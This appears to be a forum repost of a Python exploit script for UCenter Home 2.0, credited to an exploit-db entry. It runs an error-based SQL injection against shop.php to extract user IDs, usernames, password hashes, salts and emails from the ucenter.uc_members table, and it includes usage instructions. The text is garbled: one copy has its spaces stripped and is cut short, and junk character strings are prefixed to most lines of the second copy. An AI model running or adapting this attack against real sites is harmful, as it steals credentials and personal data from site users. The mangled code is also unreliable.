UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 b: G# v7 u8 x9 y5 B7 J5 X% Y( ]3 m

#!/usr/bin/env python  
# l' N% P; l- h& q
import sys  
" z* j; _. U! {/ C9 K6 Y! uimport urllib2  
0 ?! f; I5 ?3 ~9 {& t/ e! D2 ximport re  

+ E! A, l9 |( h  F: C1 Fdef info():  
9 D2 U% x) G3 K: Z- T    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
    print 'changed:qiaoy'  
    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  

def main():  
8 Z+ [/ P3 w7 p* R3 j+ ]    if len(sys.argv) != 2:  
        info()  
+ q, L+ ~3 F$ p/ Q4 h    else:  
& S. o% x* Y4 W9 E4 B  Y3 a" U        site = sys.argv[1]  
        if site[0:7] == 'http://':  
1 P# C/ K0 Y2 g/ w            sitesite =site  
9 A) e# f3 M: Y+ C        elif site[0:8] == 'https://':  
6 I. H; w. `5 L! ]3 Q. @            sitesite = site  
9 N; A- _% T3 n4 f  e, q        else:  
2 [( {0 ^0 N& \5 }3 Y1 R" q            site = 'http://'+site  
  R. J) y3 h5 D/ Q6 C! H" B1 ^        try:  
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
/ o4 \7 H% Y$ v  ?            Value = urllib2.urlopen(url).read()  
  u3 O6 U$ t1 s9 [* J9 J            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
( h! [, x9 P( s3 C9 z6 ^# X            hacked = Msg.split(':')  
  ]$ T* `3 ^$ \            print 'Name:    '+hacked[1]  
2 \3 x6 [* I3 ^7 G5 w) j            print 'Passwd:  '+hacked[2]  
# {4 S( g. m6 y, i& h            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
        except:  
            print 'Sorry,I can\'t work............'  
: T1 E$ ?; T2 _( ?$ e" P# S
6 s1 ~( [' s! P/ a- }2 y, ^) Fif __name__ == '__main__':  
    main()